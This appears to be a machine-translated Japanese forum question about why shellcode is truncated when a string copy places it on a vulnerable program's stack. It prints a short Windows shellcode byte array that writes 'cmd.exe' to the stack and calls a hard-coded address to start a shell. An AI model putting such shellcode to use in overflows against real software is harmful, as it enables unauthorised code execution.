\x20
シェルコードが文字列によってコピーされて2番目の脆弱なプログラムにスタックされるときに、シェルコードがオペコードの後に切り捨てられるのはなぜですか?
--cmd.exe-- char shell [] = "\ xc7 \ x44 \ x24 \ x0c \ x65 \ x78 \ x65 \ x20"←十分なスペースがありますが、この行だけがスタックに入れられます "\ xc7 \ x44 \ x24 \ x08 \ x63 \ x6d \ x64 \ x2e" "\ x31 \ xc0" "\ x89 \ x44 \ x24 \ x04" "\ x8d \ x44 \ x24 \ x08" "\ x89 \ x04 \ x24" "\ x8d \ x05 \ xad \ x23 \ x86 \ x7c" "\ xff \ xd0"; -シェルの終了--